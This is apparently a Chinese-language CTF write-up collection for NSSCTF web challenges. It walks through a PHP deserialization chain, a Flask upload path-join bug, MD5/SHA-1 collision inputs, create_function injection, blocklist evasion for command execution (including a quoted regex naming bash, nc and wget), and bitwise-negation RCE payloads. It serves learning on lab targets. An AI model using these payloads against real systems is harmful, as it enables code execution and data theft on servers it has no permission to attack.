NSSCTF Web模块做题记录
[NISACTF 2022]babyserialize
先看源码
<?php
include "waf.php";
class NISA{
public $fun="show_me_flag";
public $txw4ever;
public function __wakeup()
{
if($this->fun=="show_me_flag"){
hint();
}
}
function __call($from,$val){
$this->fun=$val[0];
}
public function __toString()
{
echo $this->fun;
return " ";
}
public function __invoke()
{
checkcheck($this->txw4ever);
@eval($this->txw4ever);
}
}
class TianXiWei{
public $ext;
public $x;
public function __wakeup()
{
$this->ext->nisa($this->x);
}
}
class Ilovetxw{
public $huang;
public $su;
public function __call($fun1,$arg){
$this->huang->fun=$arg[0];
}
public function __toString(){
$bb = $this->su;
return $bb();
}
}
class four{
public $a="TXW4EVER";
private $fun='abc';
public function __set($name, $value)
{
$this->$name=$value;
if ($this->fun = "sixsixsix"){
strtolower($this->a);
}
}
}
if(isset($_GET['ser'])){
@unserialize($_GET['ser']);
}else{
highlight_file(__FILE__);
}
//func checkcheck($data){
// if(preg_match(......)){
// die(something wrong);
// }
//}
//function hint(){
// echo ".......";
// die();
//}
?>
最终的目的是触发NISA::__invoke
魔术方法
__invoke的解释是:直接调用对象名当方法使用时,自动调用
可以通过Ilovetxw::__toString
来触发NISA::__invoke
__tostring的解释是:将当前类的类名当作变量时自动调用
正常来讲,需要嵌套极长的链来出发,但NISA::__wakeup
中的弱比较也可以触发Ilovetxw::__toString
,所以有以下exp
<?php
class NISA{
public $txw4ever = 'system("ls /");';
}
class Ilovetxw{
}
$a = new NISA();
$a->fun = new Ilovetxw();
$a->fun->su = $a;
echo serialize($a);
被checkcheck函数拦截了,返回something wrong
经过多次尝试大写system可以过waf.php。
所以最终的exp是:
<?php
class NISA{
public $txw4ever = 'SYSTEM("cat /f*");';
}
class Ilovetxw{}
$a = new NISA();
$a->fun = new Ilovetxw();
$a->fun->su = $a;
echo serialize($a);
payalod是
O:4:"NISA":2:{s:8:"txw4ever";s:18:"SYSTEM("cat /f*");";s:3:"fun";O:8:"Ilovetxw":1:{s:2:"su";r:1;}}
[NISACTF 2022]babyupload
打开题目是一个上传页面
查看源码发现隐藏注释
访问/source
得到源码
from flask import Flask, request, redirect, g, send_from_directory
import sqlite3
import os
import uuid
app = Flask(__name__)
SCHEMA = """CREATE TABLE files (
id text primary key,
path text
);
"""
def db():
g_db = getattr(g, '_database', None)
if g_db is None:
g_db = g._database = sqlite3.connect("database.db")
return g_db
@app.before_first_request
def setup():
os.remove("database.db")
cur = db().cursor()
cur.executescript(SCHEMA)
@app.route('/')
def hello_world():
return """<!DOCTYPE html>
<html>
<body>
<form action="/upload" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload File" name="submit">
</form>
<!-- /source -->
</body>
</html>"""
@app.route('/source')
def source():
return send_from_directory(directory="/var/www/html/", path="www.zip", as_attachment=True)
@app.route('/upload', methods=['POST'])
def upload():
if 'file' not in request.files:
return redirect('/')
file = request.files['file']
if "." in file.filename:
return "Bad filename!", 403
conn = db()
cur = conn.cursor()
uid = uuid.uuid4().hex
try:
cur.execute("insert into files (id, path) values (?, ?)", (uid, file.filename,))
except sqlite3.IntegrityError:
return "Duplicate file"
conn.commit()
file.save('uploads/' + file.filename)
return redirect('/file/' + uid)
@app.route('/file/<id>')
def file(id):
conn = db()
cur = conn.cursor()
cur.execute("select path from files where id=?", (id,))
res = cur.fetchone()
if res is None:
return "File not found", 404
# print(res[0])
with open(os.path.join("uploads/", res[0]), "r") as f:
return f.read()
if __name__ == '__main__':
app.run(host='0.0.0.0', port=80)
意思是上传文件后为文件生成uid,并将文件路径与uid绑定保存到数据库中,访问uid即可访问到文件
但是这里涉及到os.path.join的漏洞
绝对路径拼接漏洞
os.path.join(path,*paths)函数用于将多个文件路径连接成一个组合的路径。第一个函数通常包含了基础路径,而之后的每个参数被当作组件拼接到基础路径之后。
然而,这个函数有一个少有人知的特性,如果拼接的某个路径以 / 开头,那么包括基础路径在内的所有前缀路径都将被删除,该路径将视为绝对路径
文件不能有后缀
根据这个漏洞,我们上传的文件名加上/
就可以访问文件,于是上传/flag
文件
end
[NISACTF 2022]level-up
打开题目啥也没有,源代码也没有提示
kali dirb目录扫描,扫到了robots.txt
,里面有level_2_1s_h3re.php
<?php
//here is level 2
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (md5($a1) === md5($a2)){
echo $level3;
}
else{
die("level 2 failed ...");
}
}
else{
show_source(__FILE__);
}
?>
md5强比较,而且不能用数组,使用两个md5值相等的字符串
array1=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
array2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
需要注意的是,使用浏览器直接发送似乎有编码问题,建议使用burp构造发送
访问Level___3.php,变成了sha1值强比较
<?php
//here is level 3
error_reporting(0);
include "str.php";
if (isset($_POST['array1']) && isset($_POST['array2'])){
$a1 = (string)$_POST['array1'];
$a2 = (string)$_POST['array2'];
if ($a1 == $a2){
die("????");
}
if (sha1($a1) === sha1($a2)){
echo $level4;
}
else{
die("level 3 failed ...");
}
}
else{
show_source(__FILE__);
}
?>
两个sha1值完全相同的字符串
array1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
array2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
使用burp提交
访问level_level_4.php
<?php
//here is last level
error_reporting(0);
include "str.php";
show_source(__FILE__);
$str = parse_url($_SERVER['REQUEST_URI']);
if($str['query'] == ""){
echo "give me a parameter";
}
if(preg_match('/ |_|20|5f|2e|\./',$str['query'])){
die("blacklist here");
}
if($_GET['NI_SA_'] === "txw4ever"){
die($level5);
}
else{
die("level 4 failed ...");
}
?>
先了解一下parse_url()
函数
parse_url()
本函数解析URL并返回关联数组,包含在URL中出现的各种组成部分。数组的元素值不会 URL解码。
本函数不是用来验证给定URL的有效性的,只是将其分解为下面列出的部分。也会接受不完整或无效的 URL,parse_url() 会尝试尽量正确解析。
返回数组的键
query
对应的元素是在问号?之后的值
再了解一下$_SERVER['REQUEST_URI']
访问的url:http:/127.0.0.1/index.php?a=1
$_SERVER[‘REQUEST_URI’]返回/index.php?a=1
正则过滤了空格
、_
、.
,但是在php中[
、空格
、+
、.
这四个都可以被处理为_
,+
没有过滤
NI+SA+=txw4ever
提交返回55_5_55.php,源码审计
<?php
//sorry , here is true last level
//^_^
error_reporting(0);
include "str.php";
$a = $_GET['a'];
$b = $_GET['b'];
if(preg_match('/^[a-z0-9_]*$/isD',$a)){
show_source(__FILE__);
}
else{
$a('',$b);
}
这个正则是让第一个字符不能是小写字母数字或者下划线
看到$a('',$b);
应该想到是create_function
绕过
查看根目录文件
a=\create_function&b=return 1;}system('ls /');/*
最终payload:
a=\create_function&b=return 1;}system('cat /flag');/*
[NSSCTF 2022 Spring Recruit]babyphp
<?php
highlight_file(__FILE__);
include_once('flag.php');
if(isset($_POST['a'])&&!preg_match('/[0-9]/',$_POST['a'])&&intval($_POST['a'])){
if(isset($_POST['b1'])&&$_POST['b2']){
if($_POST['b1']!=$_POST['b2']&&md5($_POST['b1'])===md5($_POST['b2'])){
if($_POST['c1']!=$_POST['c2']&&is_string($_POST['c1'])&&is_string($_POST['c2'])&&md5($_POST['c1'])==md5($_POST['c2'])){
echo $flag;
}else{
echo "yee";
}
}else{
echo "nop";
}
}else{
echo "go on";
}
}else{
echo "let's get some php";
}
?>
先过第一个if,需要a不含数字而且intval取整数
官方对intval的解释是
通过使用指定的进制 base 转换(默认是十进制),返回变量 value 的 int 数值。 intval() 不能用于 object,否则会产生 E_WARNING 错误并返回 1。
echo intval(array()); // 0
echo intval(array('foo', 'bar')); // 1
所以我们传入数组就能过掉第一个if
a[]=1
- 第三个if,由于md5函数无法处理数组,会返回nul
b1[]=1&b2[]=12
md5(b1[]=1) === md5(b2[]=1)
- 第四个if,需要传入值是字符串且md5值相等
弱判断下,0e开头的数等于0,所以使两端的md5值都为0e开头即可
以下这些字符串,md5哈希之后都是0e开头的:
QLTHNDT
0e405967825401955372549139051580
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
c1=QLTHNDT&c2=QNKCDZO
所以最终的payload是
a[]=1&b1[]=2&b2[]=12&c1=QLTHNDT&c2=QNKCDZO
[SWPUCTF 2021 新生赛]finalrce
preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url)
没有过滤‘
、/
、tee
、tac
、|
、空格
我们可以用‘
绕过正则,但是exec不会回显,所以将文件输出到文本文档中
url=l's' / | tee 1.txt
访问1.txt得到
注意到la
被过滤了,用单引号绕过,payload如下
url=ca't' /flllll''aaaaaaggggggg| tee 1.txt
[SWPUCTF 2021 新生赛]hardrce
取反绕过
参考链接:
https://www.fengnayun.com/news/content/53902.html
https://blog.csdn.net/qq_45521281/article/details/105656737
目的是eval($wllm)
命令执行
先用php取反
<?php
echo urlencode(~'system'); //%8C%86%8C%8B%9A%92
echo "<br>";
echo urlencode(~'ls /'); //%93%8C%DF%D0
构造payload
wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);
再次取反构造payload
<?php
echo urlencode(~'cat /flllllaaaaaaggggggg'); //%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98
//payload:
//wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
NSSCTF{084648f0-6cf3-4604-8607-cf9b6a10aaeb}
[鹏城杯 2022]简单的php
当php源码如下时
<?php
show_source(__FILE__);
$code = $_GET['code'];
if(strlen($code) > 80 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/is',$code)){
die(' Hello');
}else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
@eval($code);
}
?>
第一个if限制字符在80以内且不能传字母数字,但没有过滤
[
、]
、!
、%
、;
preg_replace的过滤规则将限制函数不能有参数,也就是只能通过函数嵌套函数来达成目的
对于第一个if可以通过取反来绕过,第二个if可以使用二维数组的方式绕过,需要注意的是二维数组的分隔符是
[!%FF]
,有以下payload
payload:
[~%8F%97%8F%96%91%99%90][!%FF]();
//phpinfo();
我们知道:
getallheaders()函数的作用时读取请求头并返回数组
end()的作用是返回数组的最后一个元素
通过读取请求头就可以实现无参RCE
对字符串取反:
%8C%86%8C%8B%9A%92 //system
%9A%91%9B //end
%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C //getallheaders
构造payload:
[~%8C%86%8C%8B%9A%92][!%FF]([~%9A%91%9B][!%FF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][!%FF]()));
//system(end(getallheaders()))
[鹤城杯 2021]EasyP
参考:https://www.nssctf.cn/note/set/1953
案例网址:https://www.shawroot.cc/php/index.php/test/foo?username=root
$_SERVER['PHP_SELF'] 得到:/php/index.php/test/foo
$_SERVER['REQUEST_URI'] 得到:/php/index.php/test/foo?username=root
$_SERVER['REQUEST_URI']
不会将参数中的特殊符号进行转换,
也就是说它获取到的url上面的值,不会进行url解码
想要将show_source传递给index.php,而我们的目的是高亮显示utils.php,所以有如下payload
/index.php/utils.php/?show_source=1
这个正则匹配字符串末尾是否是utils.php
,basename()函数的作用是返回最后一个/
后面的字符,如果出现了非ascii字符就会丢弃
preg_match('/utils\.php\/*$/i', $_SERVER['PHP_SELF'])
所以有以下payload:
/index.php/utils.php/%ff?show_source=1
匹配字符串中是否有show_source
,php会把空格认为是_
,而且$_SERVER['REQUEST_URI'])
不会进行url解码,将任意字符进行url编码也可以绕过
preg_match('/show_source/', $_SERVER['REQUEST_URI'])
最终payload:
/index.php/utils.php/%ff?show%20source=1